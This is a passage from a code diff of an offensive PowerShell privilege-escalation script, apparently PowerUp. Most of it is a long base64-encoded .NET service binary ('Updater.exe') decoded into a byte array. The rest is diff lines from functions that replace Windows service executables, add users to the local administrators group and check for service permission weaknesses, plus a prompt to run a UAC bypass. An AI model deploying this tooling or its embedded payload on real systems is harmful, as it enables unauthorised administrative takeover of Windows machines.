CAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAgOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) } - process { + PROCESS { if(-not $Command) { if($UserName.Contains("\")) { # adding a domain user to the local group, no creation @@ -985,7 +1977,7 @@ function Install-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -1002,7 +1994,7 @@ function Install-ServiceBinary { $Command ) - process { + PROCESS { # query WMI for the service $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} @@ -1080,7 +2072,7 @@ function Restore-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -1088,7 +2080,7 @@ function Restore-ServiceBinary { $BackupPath ) - process { + PROCESS { # query WMI for the service $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} @@ -2156,6 +3148,7 @@ function Get-SiteListPassword { Server : tokyo000 .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md @@ -2373,6 +3366,7 @@ function Invoke-AllChecks { } else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." + if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ){ "[+] User is in a local group that grants administrative privileges!" "[+] Run a BypassUAC attack to elevate privileges to admin." @@ -2394,14 +3388,14 @@ function Invoke-AllChecks { } "`n`n[*] Checking service executable and argument permissions..." - $Results = Get-ServiceFilePermission + $Results = Get-ModifiableServiceFile $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "<H2>Service Executable Permissions</H2>" | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service permissions..." - $Results = Get-ServicePermission + $Results = Get-ModifiableService $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "<H2>Service Permissions</H2>" | Out-File -Append $HtmlReportFile |